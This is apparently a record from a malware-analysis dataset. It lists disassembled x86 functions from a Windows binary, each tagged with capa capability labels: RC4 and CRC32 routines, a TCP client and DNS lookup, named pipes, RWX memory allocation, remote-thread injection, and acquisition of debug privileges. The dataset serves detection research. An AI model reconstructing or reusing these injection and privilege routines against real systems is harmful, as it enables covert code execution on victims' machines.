joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18d31440
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
xor edi, edi
xor eax, eax
mov dword [ebp + eax*4 - 0x400], eax
inc eax
cmp eax, 0x100
jb 0x18d31450
mov ebx, 2
lea ecx, [ebp - 0x3fc]
lea ebx, [ebx]
xor edx, edx
lea eax, [ebx - 2]
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
add ecx, 0x10
movzx esi, byte [edx + eax]
add esi, dword [ecx - 0x14]
mov al, byte [ecx - 0x14]
add esi, edi
movzx eax, al
and esi, 0xff
mov edx, dword [ebp + esi*4 - 0x400]
mov dword [ecx - 0x14], edx
mov dword [ebp + esi*4 - 0x400], eax
xor edx, edx
lea eax, [ebx - 1]
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
movzx edi, byte [edx + eax]
add edi, dword [ecx - 0x10]
mov al, byte [ecx - 0x10]
add edi, esi
movzx eax, al
and edi, 0xff
mov edx, dword [ebp + edi*4 - 0x400]
mov dword [ecx - 0x10], edx
mov dword [ebp + edi*4 - 0x400], eax
xor edx, edx
mov eax, ebx
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
movzx esi, byte [edx + eax]
add esi, dword [ecx - 0xc]
mov al, byte [ecx - 0xc]
add esi, edi
movzx eax, al
and esi, 0xff
mov edx, dword [ebp + esi*4 - 0x400]
mov dword [ecx - 0xc], edx
mov dword [ebp + esi*4 - 0x400], eax
xor edx, edx
lea eax, [ebx + 1]
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
add ebx, 4
movzx edi, byte [edx + eax]
add edi, dword [ecx - 8]
mov al, byte [ecx - 8]
add edi, esi
and edi, 0xff
mov edx, dword [ebp + edi*4 - 0x400]
mov dword [ecx - 8], edx
movzx eax, al
lea edx, [ebx - 2]
mov dword [ebp + edi*4 - 0x400], eax
cmp edx, 0x100
jb 0x18d31470
mov eax, dword [ebp + 8]
xor ecx, ecx
xor edx, edx
xor esi, esi
cmp dword [ebp + 0x10], ecx
jbe 0x18d315b7
jmp 0x18d31560
inc edx
and edx, 0xff
mov edi, dword [ebp + edx*4 - 0x400]
mov bl, byte [ebp + edx*4 - 0x400]
add edi, esi
and edi, 0xff
mov esi, edi
mov edi, dword [ebp + esi*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], edi
movzx edi, bl
mov dword [ebp + esi*4 - 0x400], edi
mov ebx, dword [ebp + edx*4 - 0x400]
add ebx, edi
and ebx, 0xff
movzx ebx, byte [ebp + ebx*4 - 0x400]
xor byte [ecx + eax], bl
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x18d31560
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d31c50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x18d46f98]
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
cmp eax, ebx
jne 0x18d31c7e
push 0x18d41410
push 0x18d413f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.18d33750
cmp eax, ebx
je 0x18d31cd0
mov cl, byte [ebp + 0x14]
xor edx, edx
test cl, cl
setne dl
push ebx
movzx ecx, cl
push 0x80
add edx, 2
push edx
mov edx, dword [ebp + 8]
neg ecx
sbb ecx, ecx
push 0
and ecx, 0xc0000004
push 2
add ecx, 0x40000000
push ecx
push edx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x18d31cdf
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov bl, al
jmp 0x18d31cd3
mov esi, dword [ebp - 4]
cmp esi, 0xffffffff
je 0x18d31cdf
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18d31cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
pop ebp
ret

Function at 0x18d31e60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
or eax, 0xffffffff
xor ecx, ecx
test edx, edx
jbe 0x18d31e91
push esi
mov esi, dword [ebp + 8]
push edi
movzx edi, byte [ecx + esi]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + section..data]
inc ecx
cmp ecx, edx
jb 0x18d31e74
pop edi
pop esi
not eax
pop ebp
ret
Function at 0x18d32220
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a8
push esi
xor esi, esi
push 0x3ff
lea eax, [ebp - 0x417]
push esi
push eax
mov dword [ebp - 4], esi
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x5a8]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x18d32391
push str.i.root_servers.org
call fcn.18d39300
add esp, 4
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x18d32391
push edi
mov edx, 2
push 0x50
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
push 6
push 1
push 2
mov word [ebp - 0x12], ax
call sub.WS2_32.dll_socket
mov edi, eax
cmp edi, 0xffffffff
je 0x18d32398
push 0x10
lea eax, [ebp - 0x14]
push eax
push edi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x18d32398
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
push eax
call main
add esp, 4
mov edi, edi
call fcn.18d33870
cdq
mov ecx, 0x1a
idiv ecx
inc esi
add dl, 0x61
cmp esi, 0x400
mov byte [ebp + esi - 0x419], dl
jl 0x18d322d0
mov byte [ebp - 0x18], 0
call ebx
mov edx, eax
mov eax, 0x10624dd3
mul edx
mov esi, edx
shr esi, 6
add esi, 0xa
call ebx
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
cmp edx, esi
jae 0x18d32362
lea esp, [esp]
mov eax, dword [0x18d7a29c]
push 0
push 0x400
test eax, eax
je 0x18d3233c
lea edx, [ebp - 0x418]
push edx
push edi
call eax
jmp 0x18d32349
lea eax, [ebp - 0x418]
push eax
push edi
call sub.WS2_32.dll_send
test eax, eax
jle 0x18d32350
add dword [ebp - 4], eax
call ebx
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
cmp edx, esi
jb 0x18d32320
push edi
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp - 4]
cdq
and edx, 0x3ff
add eax, edx
mov ecx, eax
sar ecx, 0xa
mov eax, 0x66666667
imul ecx
sar edx, 2
pop ebx
mov eax, edx
shr eax, 0x1f
pop edi
add eax, edx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x18d32810
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
xor eax, eax
push 0x18e
push eax
lea ecx, [ebp - 0x18e]
push ecx
mov word [ebp - 0x190], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x190]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x18d3286b
cmp byte [ebp - 0x190], 2
jne 0x18d3286b
mov eax, dword [ebp - 0x190]
shr eax, 8
cmp al, 2
jne 0x18d3286b
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x18d32880
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor edi, edi
push 8
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.18d32460
mov esi, eax
add esp, 4
cmp esi, edi
je 0x18d329cf
push 4
call fcn.18d32460
add esp, 4
mov dword [esi + 4], eax
cmp eax, edi
je 0x18d329cf
mov edi, dword [ebp + 8]
push edi
call sub.WS2_32.dll_inet_addr
mov ebx, eax
cmp ebx, 0xffffffff
je 0x18d32914
test ebx, ebx
je 0x18d32914
push 4
call fcn.18d32460
add esp, 4
mov dword [esi], eax
test eax, eax
je 0x18d329cf
push 4
call fcn.18d32460
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi]
add esp, 4
cmp dword [eax], 0
je 0x18d329cf
mov edx, dword [eax]
mov dword [edx], ebx
mov eax, dword [esi + 4]
mov dword [eax], 1
mov dword [ebp - 4], 1
jmp 0x18d329cf
mov eax, dword [0x18d46fa4]
push 0
test eax, eax
je 0x18d3292e
lea ecx, [ebp - 8]
push ecx
push 0
push 8
push 1
push edi
call eax
jmp 0x18d3293e
lea edx, [ebp - 8]
push edx
push 0
push 8
push 1
push edi
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x18d329cf
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push edi
push ecx
call sub.MSVCRT.dll__strcmpi
add esp, 8
test eax, eax
jne 0x18d329cf
mov edi, dword [ebp - 8]
test edi, edi
je 0x18d329e6
mov ebx, 1
cmp word [edi + 8], bx
jne 0x18d329c0
mov edx, dword [esi + 4]
mov eax, dword [edx]
mov edx, dword [esi]
lea ecx, [eax*4 + 4]
push ecx
push edx
call fcn.18d32490
add esp, 8
mov dword [esi], eax
test eax, eax
je 0x18d329c8
push 4
call fcn.18d32460
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov ecx, dword [esi]
mov dword [ecx + edx*4], eax
mov edx, dword [esi + 4]
mov eax, dword [edx]
mov ecx, dword [esi]
lea eax, [ecx + eax*4]
add esp, 4
cmp dword [eax], 0
je 0x18d329c8
mov edx, dword [eax]
mov eax, dword [edi + 0x18]
mov dword [edx], eax
mov eax, dword [esi + 4]
add dword [eax], ebx
mov dword [ebp - 4], ebx
mov edi, dword [edi]
test edi, edi
jne 0x18d32965
jmp 0x18d329cf
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
test eax, eax
je 0x18d329de
push 1
push eax
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp - 4]
cmp eax, 1
je 0x18d32a24
test esi, esi
je 0x18d32a1a
mov ecx, dword [esi + 4]
xor edi, edi
cmp dword [ecx], edi
jbe 0x18d32a09
mov edx, dword [esi]
mov eax, dword [edx + edi*4]
push eax
call fcn.18d324a0
mov ecx, dword [esi + 4]
inc edi
add esp, 4
cmp edi, dword [ecx]
jb 0x18d329f3
mov edx, dword [esi]
push edx
call fcn.18d324a0
push esi
call fcn.18d324a0
add esp, 8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d32a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor esi, esi
push eax
xor edi, edi
mov dword [ebp - 8], esi
call sub.WS2_32.dll_htons
movzx ecx, ax
xor eax, eax
xor edx, edx
push 0x44
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edi
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov word [ebp - 0xe], ax
call fcn.18d32460
mov ebx, eax
add esp, 4
cmp ebx, edi
je 0x18d32b5e
push 6
push 1
push 2
mov dword [ebx], 0xffffffff
mov dword [ebx + 4], edi
call sub.WS2_32.dll_socket
mov dword [ebx], eax
cmp eax, 0xffffffff
jne 0x18d32ab3
call sub.WS2_32.dll_WSAGetLastError
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call fcn.18d324a0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push ecx
call fcn.18d32880
mov esi, dword [ebp - 4]
add esp, 8
cmp eax, 1
jne 0x18d32b22
mov edx, dword [esi + 4]
cmp dword [edx], edi
jbe 0x18d32b22
mov eax, 2
mov word [ebp - 0x1c], ax
mov ecx, dword [esi]
mov edx, dword [ecx + edi*4]
mov eax, dword [edx]
mov cx, word [ebp - 0xc]
push eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x1a], cx
call sub.WS2_32.dll_inet_ntoa
mov eax, dword [ebx]
push 0x10
lea edx, [ebp - 0x1c]
push edx
push eax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x18d32b1b
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
inc edi
cmp edi, dword [ecx]
jb 0x18d32ad2
jmp 0x18d32b22
mov dword [ebp - 8], 1
test esi, esi
je 0x18d32b57
mov edx, dword [esi + 4]
xor edi, edi
cmp dword [edx], edi
jbe 0x18d32b46
nop
mov eax, dword [esi]
mov ecx, dword [eax + edi*4]
push ecx
call fcn.18d324a0
mov edx, dword [esi + 4]
inc edi
add esp, 4
cmp edi, dword [edx]
jb 0x18d32b30
mov eax, dword [esi]
push eax
call fcn.18d324a0
push esi
call fcn.18d324a0
add esp, 8
mov esi, dword [ebp - 8]
test esi, esi
jne 0x18d32b70
push ebx
call fcn.18d324a0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
pop edi
mov eax, esi
pop esi
mov dword [ecx], ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18d32de0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
not eax
test ecx, ecx
je 0x18d32e0f
mov edx, dword [ebp + 0xc]
push esi
movzx esi, byte [edx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x18d47528]
dec ecx
inc edx
test ecx, ecx
jne 0x18d32df3
pop esi
not eax
pop ebp
ret
Function at 0x18d336b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0x5a4d
push ebx
push edi
cmp word [esi], ax
jne 0x18d33732
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x18d33732
mov eax, dword [eax + 0x78]
mov ecx, dword [eax + esi + 0x1c]
mov edi, dword [eax + esi + 0x20]
add eax, esi
add ecx, esi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x14]
add ecx, esi
add edi, esi
xor ebx, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
jbe 0x18d33732
mov eax, dword [edi]
mov ecx, dword [ebp + 8]
add eax, esi
mov edi, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x18d33720
test dl, dl
je 0x18d3371c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x18d33720
add ecx, 2
add eax, 2
test dl, dl
jne 0x18d33700
xor eax, eax
jmp 0x18d33725
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x18d3373a
inc ebx
add edi, 4
cmp ebx, dword [ebp - 4]
jb 0x18d336f7
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + ebx*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
add eax, esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18d33b90
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x18d33ba0
xor eax, eax
pop edi
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp eax, 0x40
jle 0x18d33bad
mov eax, 0x40
push ebx
xor ebx, ebx
push esi
mov dword [edi], eax
test eax, eax
jbe 0x18d33c6c
lea eax, [edi + 0x244]
lea esi, [edi + 0x104]
mov dword [ebp + 8], eax
lea ebx, [ebx]
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov dword [esi], eax
test eax, eax
je 0x18d33c76
push 0
push 0
push 0x10000
push 0x10000
push 0xff
push 0
push 0x40000001
lea edx, [edi + 0x744]
push edx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [esi - 0x100], eax
cmp eax, 0xffffffff
je 0x18d33c76
mov ecx, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18d33c76
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
setne dl
inc dl
mov byte [ebx + edi + 0x204], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x18d33c5c
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
add dword [ebp + 8], 0x14
inc ebx
add esi, 4
cmp ebx, dword [edi]
jb 0x18d33bd0
pop esi
pop ebx
mov eax, 1
pop edi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
xor eax, eax
pop edi
pop ebp
ret
Function at 0x18d34100
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ecx + 0x3c]
movzx eax, word [edi + ecx + 0x14]
add edi, ecx
xor edx, edx
xor ebx, ebx
lea esi, [eax + edi + 0x18]
cmp dx, word [edi + 6]
jae 0x18d3415a
add esi, 0x10
test byte [esi + 0x14], 0x80
jne 0x18d34131
mov eax, dword [esi - 8]
cmp eax, dword [esi]
jbe 0x18d3414e
mov eax, dword [esi]
mov edx, dword [esi - 8]
sub edx, eax
push edx
mov edx, dword [esi - 4]
add edx, eax
add edx, ecx
push 0
push edx
call fcn.18d335f0
mov ecx, dword [ebp + 8]
add esp, 0xc
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0x18d34124
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x18d34160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x18d67a70]
push ebx
push esi
push edi
push eax
xor eax, eax
xor ebx, ebx
mov dword [ebp - 4], 0
call fcn.18d34020
mov ecx, dword [ebp + 8]
add esp, 4
push 0x40
push 0x3000
push eax
push ebx
push ecx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x18d3428f
mov edx, dword [0x18d67a70]
push edx
lea ebx, [ebp - 4]
call fcn.18d34020
mov ebx, dword [ebp - 4]
add esp, 4
test ebx, ebx
je 0x18d34270
push ebx
call fcn.18d34100
mov edi, dword [ebp + 0xc]
mov eax, ebx
sub eax, dword [0x18d67a70]
add esp, 4
mov dword [eax + 0x18d67a70], esi
test edi, edi
je 0x18d3420d
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x18d3420a
mov edx, dword [esi + 4]
mov ecx, dword [esi + 8]
add edx, dword [0x18d67a70]
mov eax, dword [esi]
push ecx
push edx
add eax, ebx
push eax
call fcn.18d33640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0x18d341e3
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x18d34241
mov esi, dword [ebp + 0x18]
test esi, esi
je 0x18d3423e
mov eax, dword [esi]
mov ecx, dword [esi + 8]
sub eax, dword [0x18d67a70]
mov edx, dword [esi + 4]
push ecx
push edx
add eax, ebx
push eax
call fcn.18d33640
dec edi
add esp, 0xc
add esi, 0xc
test edi, edi
jne 0x18d34217
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push edi
push ebx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18d34270
cmp edi, dword [ebp - 0x10]
jne 0x18d34270
push ebx
call fcn.18d337f0
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test ebx, ebx
je 0x18d3428f
push ebx
call fcn.18d337f0
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d342e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.18d335e0
cmp dword [0x18d67a64], eax
je 0x18d342f9
xor eax, eax
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
push ebx
mov dword [ebp - 4], edi
call fcn.18d342a0
add esp, 4
test eax, eax
je 0x18d34318
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi + 8]
test eax, eax
je 0x18d3433a
push 0x40
push 0x3000
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x18d3439f
mov eax, dword [esi + 8]
test eax, eax
je 0x18d3435e
mov edx, dword [esi + 4]
lea ecx, [ebp - 8]
push ecx
push eax
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18d3439f
mov eax, dword [esi + 8]
cmp eax, dword [ebp - 8]
jne 0x18d3439f
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
push ecx
mov ecx, dword [esi + 0xc]
push edx
push eax
push ecx
push ebx
call fcn.18d34160
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
je 0x18d3439f
mov edx, dword [esi]
sub edx, dword [0x18d67a70]
push 0
push 0
push edi
add edx, eax
push edx
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x18d343d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test edi, edi
je 0x18d343ba
push 0x8000
push 0
push edi
push ebx
call esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x18d343cc
push 0x8000
push 0
push eax
push ebx
call esi
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.18d337f0
mov eax, dword [ebp + 0x10]
add esp, 4
test eax, eax
je 0x18d343f4
mov dword [eax], esi
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18d34ae0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x18d34b54
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x18d34b54
push 0xd10
push 0
push esi
mov dword [ebp + 8], 0
call fcn.18d335f0
push 0x104
lea eax, [esi + 0xc08]
push edi
push eax
call sub.MSVCRT.dll_strncpy
push edi
lea ecx, [ebp - 0x104]
push str.__sMutex
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x24
lea edx, [ebp - 0x104]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi], eax
test eax, eax
jne 0x18d34b5c
push esi
call fcn.18d34880
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push str._s_0
lea eax, [ebp - 0x104]
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
lea ecx, [ebp - 0x104]
push ecx
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
je 0x18d34b9d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x18d34bb4
push 0x10
lea eax, [ebp + 8]
mov ecx, esi
call fcn.18d34560
add esp, 4
test eax, eax
je 0x18d34bd1
lea edi, [ebp + 8]
call fcn.18d34470
xor edi, edi
mov dword [esi + 0x804], eax
cmp eax, edi
jne 0x18d34bda
push esi
call fcn.18d34880
add esp, 4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp ebx, edi
je 0x18d34c08
mov edx, dword [esi]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x18d34c08
mov eax, dword [esi + 0x804]
mov dword [eax + 8], edi
mov ecx, dword [esi + 0x804]
mov dword [ecx + 0xc], edi
mov edx, dword [esi]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18d34d00
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
call fcn.18d335e0
cmp dword [0x18d79204], eax
jne 0x18d34d24
call fcn.18d335e0
mov eax, 1
mov esp, ebp
pop ebp
ret
call fcn.18d335e0
mov dword [0x18d79204], eax
call fcn.18d33a20
test eax, eax
jne 0x18d34d3d
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0x18d67bf8
mov dword [0x18d67bf8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x18d34d37
push esi
call fcn.18d33f90
push 0xedb88320
call fcn.18d32d60
push 0x10000
push 0x18d689b8
push 0
push 0
push 0x18d67a80
call fcn.18d33390
push 0x18d67a80
push 0x18d689a8
call fcn.18d36040
mov esi, dword [ebp + 8]
push esi
push 0x18d67c98
call fcn.18d34ae0
push esi
push 0x18d789b8
call fcn.18d33ac0
push 0x104
push esi
push 0x18d67ae8
call sub.MSVCRT.dll_strncpy
add esp, 0x3c
lea eax, [ebp - 4]
push eax
push 0x800
lea ecx, [ebp - 0x804]
push ecx
push 0x1b
call fcn.18d335d0
push eax
call dword [0x18d47944]
pop esi
test eax, eax
jl 0x18d34e53
movzx edx, word [ebp - 0x802]
push edx
push 0x18d67a80
call fcn.18d33440
mov cx, word [ebp - 0x804]
mov dx, word [ebp - 0x802]
mov word [0x18d67a78], cx
movzx ecx, cx
mov word [0x18d67a7a], dx
mov edx, dword [ebp - 0x800]
push ecx
push edx
push eax
mov dword [str.DeviceHarddiskVolume1Program_FilesICWBincygrunsrv.exe], eax
call fcn.18d33640
movzx eax, word [0x18d67a78]
mov edx, dword [str.DeviceHarddiskVolume1Program_FilesICWBincygrunsrv.exe]
shr eax, 1
xor ecx, ecx
mov word [edx + eax*2], cx
movzx eax, word [0x18d67a78]
mov ecx, dword [str.DeviceHarddiskVolume1Program_FilesICWBincygrunsrv.exe]
shr eax, 1
push eax
push ecx
call fcn.18d34cc0
add esp, 0x1c
mov dword [0x18d79200], eax
call fcn.18d335e0
push str.NtGetNextProcess
push str.ntdll.dll
call fcn.18d33890
push eax
call fcn.18d33750
push 1
push str.SeDebugPrivilege
mov dword [0x18d67c94], eax
call fcn.18d34c20
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x18d35220
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x218
mov eax, 0x5a4d
push ebx
mov ebx, ecx
cmp word [ecx], ax
je 0x18d35240
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x18d35239
mov edx, 0x14c
cmp word [eax + 4], dx
jne 0x18d35239
mov eax, dword [eax + 0x80]
test eax, eax
je 0x18d352ee
cmp dword [eax + ecx + 0xc], 0
push esi
lea esi, [eax + ecx + 0xc]
je 0x18d352ed
push edi
mov eax, dword [esi]
add eax, ebx
push eax
mov dword [ebp - 0xc], eax
call fcn.18d33670
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], ax
add esp, 4
xor ecx, ecx
lea eax, [ebp - 0x218]
push ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
mov word [ebp - 8], cx
push eax
lea ecx, [ebp - 8]
mov edx, 0x104
push ecx
mov word [ebp - 6], dx
call dword [0x18d4793c]
test eax, eax
jl 0x18d352e4
mov edx, dword [ebp - 0xc]
push edx
call fcn.18d33890
mov edi, eax
test edi, edi
je 0x18d352e4
mov eax, dword [0x18d79208]
push edi
push eax
lea ecx, [ebp - 8]
call fcn.18d34e90
add esp, 8
test eax, eax
je 0x18d352e4
push edi
call fcn.18d35220
